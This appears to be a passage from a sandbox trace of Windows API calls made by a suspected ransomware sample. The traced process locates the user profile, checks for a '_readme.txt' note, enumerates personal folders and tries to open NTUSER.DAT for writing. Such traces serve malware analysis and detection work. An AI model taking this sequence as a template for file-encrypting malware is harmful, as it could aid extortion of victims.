RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.981] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.981] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.981] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.981] PathFindFileNameW (pszPath="") returned="" [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.981] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.981] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.981] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.982] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.982] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.982] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0124.982] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.982] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.982] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f918 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076d78 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.982] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.982] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f918 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f868 [0124.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.982] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f918 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0124.983] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5948bb70, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x5948bb70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f918 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f868 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.983] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c30310, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c30310, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.983] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.983] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.983] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.983] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3074f40 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3074fa8 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f868 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075010 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075078 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30750e0 [0124.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c7c5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c7c5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0124.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f918 [0124.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x71d2e5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x71d2e5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0124.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x71d08470, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0124.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0124.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, 